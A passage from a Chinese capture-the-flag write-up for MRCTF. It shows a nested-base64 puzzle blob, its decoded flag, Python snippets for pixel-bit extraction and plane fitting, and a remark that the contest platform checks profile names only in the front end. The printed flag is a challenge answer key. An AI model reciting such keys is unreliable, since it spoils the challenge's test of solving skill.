TRlpYTVV0V2JHUnpZVVp3YUUxWVFYcFdSbFpoWkRGYWRGSnJhR3RTYkZwdldsZDBZVmRXWkZWUmJUbHFUVlpzTTFSV2FFZFZNa1Y1WVVkR1YyRnJOWFpaVlZweVpWZE9ObEpzYUZkTlNFSkpWMVpXYTJJeFVuTmFSVnBVWWtWd1dGUldXbmRoUm1SWFYyczFiRlpzU2pGV1YzaFhZVVV4VjJOR2NGaFdNMUp5VmxSS1NtVkdWbk5oUjNCc1lUQndVRlpYTUhoVk1XUnpZVE5rVjJKWVVsaFVWM1IzVjBaWmVXVkhPVmROVlc4eVZtMTRiMVl5UlhsVmEzaFdZV3RhVUZwR1drZGpNWEJJWWtaT2FXRXdXVEpXYlRGM1VqRnNWMkpHWkZSWFIyaHdWV3RhZDFaR2JITmFSRkpWVFZad2VGVnRkREJXUmxwellrUldZVkpYVWtoWlZWVjRWMFpXY21KR1drNWliRXB2VjFaa05GUXhTbkpPVm1SaFVtNUNjRlZ0ZEhkVFZscDBaRWRHYTAxWFVrbFdiWFJ6VmxkS1NGVnVRbFpoYTFwTVZHMTRZV05zYTNwaFIyeE9WbXhaTUZacVNqQlpWbVJJVTJ4YVdHSkhhRmhaYkZKSFZERndWbGR1VG1wV2EzQjZXVEJrTkZVeVNsZFRiVVpZVmtWS2NsbHFSbUZTTVU1ellrWkthVll5YUZwV2JUQjRWVzFSZUZwR1pHRlNWR3h4VkZaYWQwMVdWblJsUlRsb1ZtdHNORlV5Tlc5V01VcDBWVmhrV0Zac2NFdGFWVnBYVjFkR1IyRkhiRmhTYTNCYVZtdGFZVmxYVVhoVWEyUllWMGQ0Y1ZWc2FGTlhSbEpZWkVoa1ZGWnNjRWxaTUZwUFZqRlpkMVpxVmxkV00yaFFWMVphWVdNeVRraGhSbkJPWW0xbmVsWlhjRWRrTVVsNVVtdGtWV0Y2Vms5WmJHUnFaVVphZEUxVVVtaE5iRVkwVmxab2IxWXhaRWhsUmxaWFRVZFNkbGt3V2xaa01WcFZVbXhvVTJKWVozZFdSbHBoVkRGa1IxTnVUbFJpUjJoWVZGZHdWMk5zV2tobFJYUnJVakZLUmxaSGVHOWhSVEZYWTBoc1YyRnJTbWhWTWpGU1pWWlNjbGR0YUZOaWEwcFFWbGN3TVZFd01YTlhia1pVWW01Q2MxVnRjekZUVmxaMFpFZEdhVkpyY0RCV1Z6QTFWMnhhUms1VlVsWk5WbkJ5Vm14YVQyTldWblJoUlRWb1pXeFdNMVp0TUhoTlIwVjRZa1prVkZkSGVHOVZibkJ6Vm14YWNsWnJkRlZTYkhCWldsVmtSMkZyTVZsUmEzQllZVEZ3VUZaSGVGcGxiVVpIWTBaa2FFMVlRakpYV0hCSFZtMVdWMU5zYkdsU2JIQndWbXRrTkZkR1pGaGxSemxwVFZaS1NGWXlOVXRYUjBwV1YyNUdWVll6VW1oVmFrWmhVMGRXUjFSc1ZtbFNia0Y0Vmxaa2QxVXhXWGhYYWxwU1lXeEtWMWxYZEdGaFJtdDVZek5vVjAxWFVubFViRnByVlRKRmVsRnNjRmROVjFGM1dWUktTbVZXVm5WVWJHaFlVakZLV2xkWGVHOVZNVnBYVm01R1VtSlZXbFZWYlRFMFpWWlplVTVYZEdoU2JIQXdWbGQwYzFkc1dsaFVWRVpYWVd0d1RGWXhXa2RqYlVaSFkwZDRhRTB3U2xGV01uaFhZVEZSZUZOdVVsTmhNbEpUV1d0a1UyTkdXblJrU0dSWFlrWnNORmRyVWxOaFZURnlZa1JPVldKR2NISldNR1JMWXpGT2NrOVdXbWhOVm5CdlYxZHdSMVV4V1hoYVNGWlZZWHBzVkZsclpETk5WbHBJWlVaYVQxWXdXa2xWTW5SaFlXeEtXRlZzWkZWV00wSklXa2Q0WVdOV1RuSmtSbEpUWWtad05WWkVSbUZXTVZsNVUydHNVbUpVYkZoWlYzUkxZMnhhU0UxV1pHdFNhM0I1VjJ0a2IxVXlSalpXYm1SWFZucENNMVJzVlRGU01XUlpZVVphYUUxRVZtaFdiWEJEVmpBMVIxZHNhRTlXYXpWWFZGZDBkMlZXVW5OWGJrNVlZa2RTU2xWWGRHOVdNREZIWTBod1YwMUhVbFJWYlRGVFUwZE9TR0pHVG1sU00xRXhWbTE0YW1WSFZuSk9WbVJYVjBkU1QxWnRNVk5qVmxaeVZtMUdXRkpzY0hoV1J6QTFWbXhLZEdWR2FGZE5ibEl6V1d0YVMyTnJOVlZTYkdob1RWaENlVmRXV21GaE1VbDRWRzVPYVZKdFVuQldhMVpLVFVaYWMxa3phRmROVld3MFdUQldjMVl5U2taT1dFSldZa2RvUkZwRVJtRmtSMVpJVW0xMFRtRXhjRWxXYWtreFZURlNjMVJyYUdoU2JWSldWbTE0Vm1WR1dYZFhiSEJzVmpGYVNWUXhaRzlVYkZwWVQwaHNXRll6VW5GVWJGcGhWakZrZFZSc2FHaGhlbFpYVm0xNFlXUXlSa2RYV0dSaFVsUnNVRmxyV25kbGJHUnlWbFJHYUZKVVJscFZWbEpIVmpKS1dWRnJlRlZXVmxWNFZXcEdhMlJXVG5KT1ZtaFRZa2hDTWxac1VrTldNbEY0V2tWa2FWSnRhSEpWYWtKaFlqRldkRTVWVGxOTlZtdzFXa1ZTUTJGRk1WWmlSRTVWWWtaYWNsWnNaRXRTTWs1SlUyeGtVMDB5YUc5V2FrSnJWVzFXZEZSclpHRlNNbmhaVldwS2IxWnNXbk5oU0dSU1lsWmFTRlpIZEd0V1IwcElaVWM1Vm1GclNtaFdhMXBoWTFaT2RFOVdaR2xTTVVwYVYydFdhMDFIUmxaTldFcHBVa1pLV0Zsc1VsZFdSbHBJWlVkR1QySlZjRWxWYlhocllWWmFSbFpZWkZkaVZFVXdWbXBLVTFKck5WZGhSM1JUWWtad2RsZHNaREJaVm1SWFdrWm9hMUpyTlZaVVZscHpUVEZTVjJGRlpGZE5hMVkyV1ZWa1IxZHNXa1pYYWs1WFVsWndNMVZ0ZUd0ak1YQklaRVprVGxORlNrdFdiR040VGtaUmVGZFlaRTVXYkhCWlZqQm9RMWRHYkhOaFJ6bFhVbXhaTWxWdGREQmhNVXB6WTBSR1YxSXphRkJaVm1SR1pVZE9SMk5HYUZkTk1VcDVWbXhTUzFReFNYaFhibFpUWWtVMWIxUldhRU5sVmxwSFYyMTBWazFYVWtoV01uaHZZVEZLUmxOc1pGVldWa3BJVmpGYVlWZEhVa2hQVm1Sb1pXdFplRmRXVm05a01XUkhWMjVPYWxKWVVtaFdhazV2VTBac05sSnNaR3BOV0VKSldWVmtiMkpIU2tkaVJGWlhZbFJHTTFWcVJuTlhSa3BaWVVkR1UxWXlhRmxYVmxKTFlqRldWMWR1VW10VFIxSldWRlphZDJWc1dsaGtSMFpWWWtWd01GWlhlR0ZXYkZvMlVtdG9WMDF1YUdoWmVrcExVbFpXYzJGSGFFNVdia0Y1VmpGYVYxbFdUWGxVV0doVlltczFXVmxyWkZOalJscHlWbTFHVjFac2NEQmFSV1JIWVRBeFdGVnJiRmRpV0ZKNlZteGtTMU5HVm5WUmJGcG9ZVEZ3VFZaSE1UUlpWMDV6WVROd2FGSXllRTlXYlhoYVRVWmFjVk5xUWxwV2JWSkpWVzAxVDJGc1NuUmhSbWhhVmtWYWFGcFdXbmRXYkdSMVZHeGtWMkV6UWpaWFZFSnJUa1pWZVZOc1pGUmlWVnBaVm10V1MyRkdaRmRhUldSWFRWZFNXbGxyWkc5Vk1rcFlZVVp3V0ZZelVuSldWekZTWlVad1IxcEdhR2xoZWxaWlZrWmtlazFXVGtkWFdHeHNVbnBzYjFadGRITk9SbFY1VGxjNVYwMVZjREJXVm1oclYwWmFjMk5GZEdGV1ZuQllWakZrUjFJeVJraGlSbWhUWVROQmVsWnRlR3RrTVVWNVZWaG9ZVk5GTlhCVmJYaDNWMVpzVlZOc1RsaFNiRXBaV2tWYWExUXhTblJrUkU1WVlUSk5NVll3V2t0ak1rNUZVV3hrVjAweWFGRldNVnBoV1ZkTmVWUnJhR2hTYmtKUFdXMHhibVZzV2xoalJXUnJUVlUxU1ZVeWRHOWhWa3B5VGxac1ZtSkdXak5XVkVaaFpFVXhTVnBIZUZOV1JscEtWbGQ0YjJJeFdYaGFSV2hvVW0xNFdGUlZaRk5rYkZweFVtNU9hbUpJUWtsVU1XUjNZVlpLYzFkWWNGZE5ibEpvVmtSR2ExSXhUblZVYkZKcFVqSm9XbGRXVWtkVE1WcEhZa2hLV0dKVlduRlVWM014VTBac2NsZHNaRmROYTNCSVdUQm9jMVl5Um5KVGJXaFdaV3R3VUZwRldrOWpiRnB6Vm0xc1UwMVZjRE5XYlhCRFZqRk5lRmRzWkZoaWExcFZXVzAxUTJNeFZuUmpla1pVVm14YU1GcEZaRWRoVmtweVkwUkNWMVl6VFRGV01qRkxWbFpLZFZkc2NHaGhNWEJ2VjFSR1lWSXlVa2RUYms1aFVsUldiMXBYZUZwTmJGbDRWV3RPVjAxcmJEUldiR2h6VmtkRmVXRkdaRnBoTWxKMlZtMTRZV1JIVmtoU2F6Vk9WbTVDV2xkc1ZtdFNNa1p5VFZaa1dHSnRlRmhWYm5CSFpHeGFTR1ZIUmxoU01Va3lWVmQ0YTFZeFNsZGpSRXBZVjBoQ1NGWnRNVmRXTVU1ellrZHNVMDF0YUZaV1YzaFhaREZrUjFwR2FHeFNlbXhXV1d4YVlWTkdiRlZVYlhSWVVqQndlVlJzV205V01rcFpWVzFvVlZac2NISlpNbmhoVmxaS2RHRkdaR2hOTUVZMFZteGFZV0l5UlhoWFdHaFVZbXMxY1ZWdGVFdFdNVnB5Vm0xR2FGSnRkRFZaZWs1dlZqQXhXRlZ1YkZWaVJuQnlWbFJLUm1Wc1JuTmpSbVJwVmtWR05GZHJVa2RYYlZaSFdraEtZVkp0YUhCWlZFWjNWbXhrVjFWck9WWk5WbkJZVm0wMVUySkdTWGRYYms1YVlURndlbFJzV25kV2JVWklaRWRvVTJKSVFYZFdiR1F3WWpGYWNrMVdhR2hTUlRWWVZGVmFkMWxXY0ZobFJXUnFZbFZhU0ZkclpHOWhSVEIzVTJ4S1YySlVSak5WYWtaV1pWWldjMXBHWkdsaGVsWlVWMWQwYTFVeVRrZFhibEpyVTBkU1dGbHJXbk5PUm1SeVZXeE9hRlpVUm5sWmExSlRWMjFGZUdOSVNsaFdiSEJNV1hwR2EyTXhVbk5qUjJ4VFlraENkbFl4WkhkU01WVjRXa1ZvVm1FeVVtaFZiRkpYVkRGYWRHUklaRmhXYkhCNFZURm9iMVJzU1hkWGEyeFdUVzVTYUZaRVJtRlhSMVpJVW14a2FWSnVRWHBYVkVvMFdWZE9WMVJ1U210U00xSllXVlJHZDA1V1dYbGtSM1JUVFZaV05GVXllR3RoYkVwSFkwWm9XbUpIYUVSVk1GcHJWakZrZEdSR2FGTmhNMEkxVmpKMGEySXhWWGxTYWxwWFltMVNXRlp1Y0VKbFJsWllZek5vYWsxWFVscFpWVnB2WVZaSmVGTnRhRmRpV0VKRVZtcEJNVkl4WkhOaFJUbFhWa2Q0V2xaWE1IaFZNVTVYWTBaYVdtVnNXbGhaYkZaWFRrWlplV05GT1ZkTlJFWklXVEJvZDFZd01VaFZiRkpXWWxSR1ZGVXdaRTlUUjBwSFZHMXNVMDB4UlhoV2JURTBZVzFSZVZacldrNVdWMUpaVmpCa1UxUXhXblJOVms1cVZteGFlVlp0TVVkWFJrcDBaVWh3V2xaWFRURldNRnBMWkVkV1IyRkdaRTVpYXpCNFZteFNTMU14U25KT1ZteHFVbTVDVDFWdE5VTmxWbHAwWTBWa1ZFMVdjREJXUjNScllWWktkRlZzYkZaTlJscE1WVEZhWVdOc1ZuSmFSbWhwVm14d1NWZFVRbGRqTVZsNVUydGFUMWRGU2xkWmExcExWMFp3UlZKdFJtdFNNVnBKVlcweE1GUnRSWGhqUld4WFlXdHJlRlpVUmxOak1YQkdZa1pLYUdWdGVGbFhWM2h2VkcxV1IxZFlaRmhpU0VKelZteFNWMWRHV2toTlZ6bFZZa1p3V1ZRd2FITlhSbGw2Vlc1R1ZXSkdjR2hXYWtaclpGWlNjMkZIYkdsaE1IQllWakZrTUZsWFVYbFdiazVZWW14S1QxWnNaRk5XUm14eVYydDBiR0pIVW5sWGEyaFBWakF4V0ZWclpGWk5ibEYzVm1wQmVGWXlUa2RoUm1Sb1lURndXRmRzVm1GaE1rMTVVbXRrVm1KWGVGUlVWRXB2VFd4YWMxVnJUbGROYkVZMFYydFdhMkZXVGtaalJteGFZbFJHVkZac1dsZGtSVFZXVkd4T1RsWnRkekZYYTFaVFVUSkdSazFXV21sU1JUVldXV3RhWVdOc1duTmFSWFJUVFdzMVNsVXllR3RWTURCNVlVYzVWMkZyU25KV1Z6RlhaRVpTY2xwSFJsTk5ibWhhVmxkd1MySXhXbk5YYms1b1UwZFNVMWxzV21GVFJscElaRWQwVjFZd2NFbGFWV2hEVm0xS1dWUllhRnBoYTFwVVZqQmtWMUp0VWtkYVIyeFRUVlZ3WVZacldtRmlNbEY0Vlc1T1dHSnJOWEZWYlRGdldWWnNWVk50T1ZaU2JIQjRWVEowTUZZeVNraFZibkJhVmxad00xbFZWWGhYVmtaWlkwWmtVMkpHY0c5WGExSkhXVmRTUjFOdVNtaFNNMUpVV1d0YWQyUnNaSE5hUkVKYVZtMVNXRmRyV2xkVmJVcFZZa2hHVlZac2NIcFVWRVpUVmpKR1JscEdXazVoTVZreFYxWldhMUl4V1hsU2JrcFBWMFp3WVZac1duZGxWbkJYVmxob1YyRjZiRmhXUjNocllVVXdkMU5VU2xkTlZuQllXVlJLU21WR1ZuVlViVVpUVm01Q1ZsZFhkRmRrTVdSSFlraE9hRkpyTlhGWmExcExaVlpaZVU1Vk9WaFNhM0I2VlRKd1IxWXhXWHBoUm1oYVZsWldORlpxU2s5U01rcEhZVVprVGsxVmNEVldiWGhUVWpGc1YxTllhRmRpYXpWWVdXdGFTMk5HV25KYVJGSnJUVlp3U0ZZeU1VZGhNREZ6VjJ4b1YwMXVhSFpaVkVaTFVteE9jMXBHVmxkV2EzQkpWbXBDWVdNeVRuTldiazVWWWtkU1QxWnNZelJsVmxwMFRWUlNVazFYVW5wV01qVlBZV3hLV1dGSFJsVldNMEpJVmxWYVYyTldUbkphUms1T1ZqRkpkMWRYZEdGVU1WSjBVMnhvYUZKWFVsaFpiRkpIVFRGV2NWSnVUbGhTYTNCYVdWVmtSMVV4V1hsaFJteFlWbXhLVEZaVVJtRmpNa3BKVTJ4a1YxSldjSGRXUmxwdlVURmtWMk5GV21GU1YxSllWVzE0ZDJWc2EzZGhSemxYWVhwR01WVlhlRk5XTWtaeVVtcFNWMkZyV21oWk1WcGhZekZrZEdKR1RrNWlWMUV5Vm0weE5HRnRWa2RVV0d4VlltdHdVRlp0TVZOaFJsWjBUbFZPYWxKc1dqQmFSV2hyVmtaYWMyTkVRbUZTVjFKSVZqQmtTMVl4WkhOaVJtUnBWMFpLTWxkV1VrZFRiVlp6VW01V1VtSkdjSEJXYTFwaFVsWmFkR05GWkZwV2JWSkhWRlphVjFadFNsaGhSVGxYWWxoU01scEVSbUZYUjFaSVQxZDBUbFpzYjNkV1ZFb3dZakpLUjFOdVVtaFNiV2hoVm10V1lXRkdjRmRYYm1SWFlrZFNNVlpITVhkV01rVjZVV3BhV0ZaRlNuSlVhMXBXWlZaT2MxcEdVbWxXVm5CYVZtMTBWMU15VG5OaVNFWlRZbFZhVkZSV1ZURmxiR3h5VjJ0MGFGWnJiRFJWTW5oM1ZqSktWVkpVUWxabGExcFVWV3BHYTJNeFduTlViV2hzWWxob1ZsWnJXbUZaVjFGM1RWWmtWMkpzU25OVmJGSnpZakZhZEUxV1RsUlNiRlkxVkd4b1QxWXdNWEpqUmxwV1lrWktSRlp0TVZkamJVNUhZVVp3YkdFelFrMVdWM0JIWVRKU1IxTnVUbFppUlRWWVZXMTRkbVZXV25STlNHUnNVbFJXU1ZaV2FITldNa3BJVlcwNVZWWkZjRlJXTVZwelpFVXhWMVJzYUZOaVJYQmFWMnRXYjJFeFdrZFhiazVxVWxkNFlWUlZXbmRWUmxweFVteHdhMDFXY0hoV2JYaHJWakF3ZVdGR1JsZE5WbkJvVjFaa1RtVldVbkpoUjJoVFltdEtVRmRYTUhoaWJWWnpWMnhvYWxKWFVuSlVWbFV4VTFaVmVXUkhPV2hXYTNCNVZHeGFjMVp0U2tkWGFrNVhWa1ZhYUZwRlZYaFRWbkJJWlVaT1YxSnNjRXRXYkdRMFlqSkplRmRZYUdGU1YyaHZWV3BLYjFZeGJISmFSazVYVW14d2VGVnROVTloYlVwSVZXcEdXR0V4Y0hKV1IzaGFaVzFHUjFwR1pGZFNWemgzVm10U1MxSXlUbkpOVm1SaFVqTkNWRlZzVm5kaU1WcDBaVWRHV0dKV1JqUlphMmhMV1ZaS1dWVnNVbFZXTTAxNFZXMTRWMWRIVmtkYVJtUk9WbTVDTlZkVVFtRmpNVmw1VTJ4c1VtRXdOV2hXYkZwM1ZFWmFjVkpyT1d0V2JFb3dWVzE0VDJGWFJYZGpSRTVYVFZkT05GUlZXazVsUmxaeldrWm9hV0pGY0ZCV1ZFSnJZakZhVjFWc1pHRlNhelZaVlcxNGQwMUdVbk5YYlhSWVVtdHNNMWt3Vm5OV01WbzJVVlJHVjAxdWFHaFZiWGhyWTFaU2MyTkhhR2hOV0VKMlZtMXdRMVp0VmtkWGJHUlhZbXhLYjFWc1VsZGlNWEJZWlVaa1RrMVdjREJVVldodlZHeEpkMVpxVWxwaE1YQnlWbXRhYTFOSFZraFBWbHBwWW10S05sWnRNVFJaVjA1elYyNUthMUpzV2xSWmEyaERWMnhrYzFadGRGTk5hMXA1VkZaYWIyRXhTa2RqUjBaWFlrWndWMVJXV21GV1ZrNXlaRVpvVjAxR2NFbFhWRUpoWVRKR1JrMVdiRkpoYTNCWlZtcE9RMVJHVm5GVGF6VnNVbXhLTVZaSE1XOVZNREYwWVVaYVYxWXphRmhhUkVaclVqRndSMkZIZUZObGJYaFhWMWQ0WVZsV1RrZFhXR3hyVW0xU1YxUlhkSGRXTVZsNVRsVmtWMVpzY0RCV1YzaFRXVlpaZW1GSWJHRlNSVm96Vld4YVYyUkhSa2RhUjJoT1RVVlpNRlp0ZUdGWlYwbDVVbGhvWVZKWGFGVlpWRXBUVjFac2RHUklaRmROVjNoWldrVmtSMkZHU25Sa1JGWmFaV3MxZGxacVFYaFhSbFp4VVd4d2FFMVlRbEZXYkZKTFVtMVdjMUp1VWxCV2JWSlBWbTAxUTFaV1dsaGpSWFJXWWxaYVdGWlhOVmRXVjBwSVlVWnNWbUZyV2t4WmFrWmhWMGRXU0U5V1drNWhlbFpaVjFkMGIxUXhXWGhYYTFwWVlrWktWbFp0ZUhkVFJsSnlWMnh3YkZaVVJsWlZWekZ2VlRKS1NWRllaRmRpUjFGM1dYcEdhMU5HU25WVGF6bFhVbFJXV1ZkV1pEQmtNVTVIWVROc2JGSlViSEpWYWtKaFUwWnJkMXBFVW1oU1ZFWmFWVmR3VjFZeVNsbFJhMUpZVm14d1YxcFdXbE5rVmxKMFkwWk9WMDF0YUZaV01XUXdWbXN4V0ZSclpGaGliRXB5VlRCa1UxZEdiSEpYYms1UFVtMVNlVlpYZEU5WFIwcEhZa1JTVm1KWVFsQldiR1JMVWpKT1NWTnNaRTVTTVVwTlYxaHdSMVF5VG5KUFZtUmhVakpvVDFadE5VTlViRnB4VW0xR1dsWnRlRmxXVjNSdlZqSkZlR05IYUZaaVJrcDZWbXRhYzJOdFJrWlRiWFJPVmpGS05sWnRNSGhTTWtaR1RWWmthbEp0ZUZkVVZ6VlRZVVpzV0dWRmRGaFNNVnBKVlcxNFYxWXhTbFZXYTFaWVlrWndhRlpxUmtwbFJrNXpWbTFzVTJFeGNGaFdiWFJUVVdzMVVsQlVNRDA9aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
把最后的 a
给去掉,然后不停解 base64。
貌似套了22层 base64,就离谱。
MRCTF{bUt_Y0u_c@n_f1yyyyyyyy~}
BTW, 官方 WP 这个移位加置位的方式写起来挺方便的。
for i in range(400): for j in range(50): ch = 0 for k in range(8): if judge(pim[i,j*8+k]) == 1: ch |= 1 << k flag += chr(ch) flag = flag.strip('a')
另外来抄一下 snowywar 师傅求空间平面方程的解法。
import numpy as np mark = [(153, 15, 120),(51, 104, 132),(229, 38, 115)] def define_area(point1, point2, point3): point1 = np.asarray(point1) point2 = np.asarray(point2) point3 = np.asarray(point3) AB = np.asmatrix(point2 - point1) AC = np.asmatrix(point3 - point1) N = np.cross(AB, AC) # 向量叉乘,求法向量 # Ax+By+Cz Ax = N[0, 0] By = N[0, 1] Cz = N[0, 2] D = -(Ax * point1[0] + By * point1[1] + Cz * point1[2]) return -Ax, -By, -Cz, -D res = "" a,b,c,d = define_area((153, 15, 120),(51, 104, 132),(229, 38, 115)) print(a,b,c,d)
于是可以得到空间平面方程
Ax+By+Cz+D=0
的系数。
小结
太顶了太顶了!
北邮的师傅们太强了 Orz。
BTW,师傅们自己开发的这个 CTFm 平台还不错,只是可能还比较新的原因还有点小 bug,不过问题不大,慢慢来嘛。
比如 profile 页面这里的名字貌似只是前端做了限制,后端并没有限制来着(虽然图片上没有体现
(比赛的时候就做了两题 + 问卷 check out,然后 rk45,就离谱
噢,官方 WriteUp 也出来了(
(怎么 web 还没有呢终于有了
就这样吧。累死了。
(溜了溜了喵